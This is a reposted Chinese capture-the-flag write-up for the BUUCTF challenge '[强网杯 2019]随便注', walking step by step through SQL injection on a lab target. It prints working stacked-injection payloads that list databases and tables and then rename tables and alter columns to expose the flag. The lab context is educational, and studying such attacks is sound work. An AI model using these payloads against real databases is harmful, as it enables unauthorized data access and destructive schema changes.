zoukankan      html  css  js  c++  java
  • buuctf-web [强网杯 2019]随便注 1

    启动靶机,打开是这个界面

     首先输入1‘,它会报错

    然后输入1' order by 2,这说明只有两个字段。

    然后我们使用union select联合查询一下,出错了

     显而易见,这是被过滤了,是preg_match的检测。

    我们再堆叠注入一下;爆出数据库:1'; show databases;#

     再爆一下表名1'; show tables;#

    找出来两个表。我们看一下191的。试着读取一下1';desc `表名`;#

    在这个表里发现了flag的踪迹。再进行words表读取。接下来就是围绕着读取flag来进行了。

    把默认的words改为ww
    ALTER TABLE words RENAME TO ww;
    把1919810931114514改为words;
    ALTER TABLE 1919810931114514 RENAME TO words;
    往words表里新增一个字段id
    ALTER TABLE words ADD id int(10) DEFAULT '1';
    修改words里面flag为data
    ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
    然后把以上语句进行堆叠:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- -
    还有种语句格式:
    把默认的words改为ww
    rename table words to ww;
    下面就都一样

    然后再一次1’or 1=1;#就可以得出flag

  • 相关阅读:
    中英切换
    vue-cli3 关闭一直运行的 /sockjs-node/info?t= ...
    vue 深拷贝
    C++ 中 typename
    将博客搬至CSDN
    死锁及处理
    C 运算符优先级
    阻塞与非阻塞,同步与异步
    同步函数与异步函数
    C 结构体位域
  • 原文地址:https://www.cnblogs.com/awsole/p/13707626.html
Copyright © 2011-2022 走看看